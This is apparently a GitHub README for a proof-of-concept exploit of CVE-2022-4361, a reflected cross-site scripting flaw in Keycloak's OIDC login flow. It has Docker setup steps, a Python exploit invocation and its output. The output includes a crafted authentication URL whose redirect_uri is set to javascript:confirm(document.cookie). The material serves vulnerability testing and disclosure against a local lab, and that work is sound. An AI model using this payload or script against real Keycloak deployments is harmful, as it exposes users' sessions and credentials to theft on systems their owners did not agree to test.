faccimatteo/cve-2022-4361Proof-of-concept exploit for CVE-2022-4361, a reflected XSS vulnerability in Keycloak's OIDC authentication flow, with Docker-based test environment and Python exploit script.
This repository contains a PoC for CVE-2022-4361.
All the credits go to original author of the discovery, mulliken;
IMPORTANT: this PoC is not complete as it does not cover the case for the AssertionConsumerServiceURL value on the SAML authentication protocol. Currently, only the OIDC case is covered.
git clone https://github.com/faccimatteo/CVE-2022-4361.git && cd ./CVE-2022-4361
docker compose up -d
Wait until the infrastructure is available and reachable.
Since in this PoC Keycloak is not integrated with any web application, it is necessary to specify the full Keycloak authentication URL (once the test realm has been correctly set up).
The vulnerability on this test environment can be tested with the following URL.
python3 ./CVE-2022-4361.py --url http://localhost:8080/realms/test-realm/protocol/openid-connect/auth\?client_id\=test-client\&redirect_uri\=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F\&state\=f0cd8010-72b1-476d-823a-b72e2106db1d\&response_mode\=fragment\&response_type\=code\&scope\=openid\&nonce\=eb117e13-b09e-49b1-a086-3ebb69d6ca3d\&code_challenge\=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w\&code_challenge_method\=S256
[+] Detected Keycloak OIDC configuration in the authentication flow for http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=fragment&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256.
[+] Crafted malicious Keycloak authentication URL: http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=javascript:confirm(document.cookie)&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=form_post&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256
[+] The Keycloak instance used by the target is likely to be VULNERABLE to CVE-2022-4361!
[*] Opening malicious login page in your default web browser...
A browser window will be opened with the malicious login page, as visible from the screenshot below.
Once a victim provide valid credentials (available in keycloak-config/test-realm.json) clicks on Sign In button, the reflected-XSS attack will be delivered.
It is worth noticing that the attack is successful even if the victim has already logged inside the application.
* value for redirect_uri in production environments.Currently, this PoC only covers the case of Keycloak being configured using an OIDC authentication flow.
In the next deployments, the SAML authentication protocol will be introduced.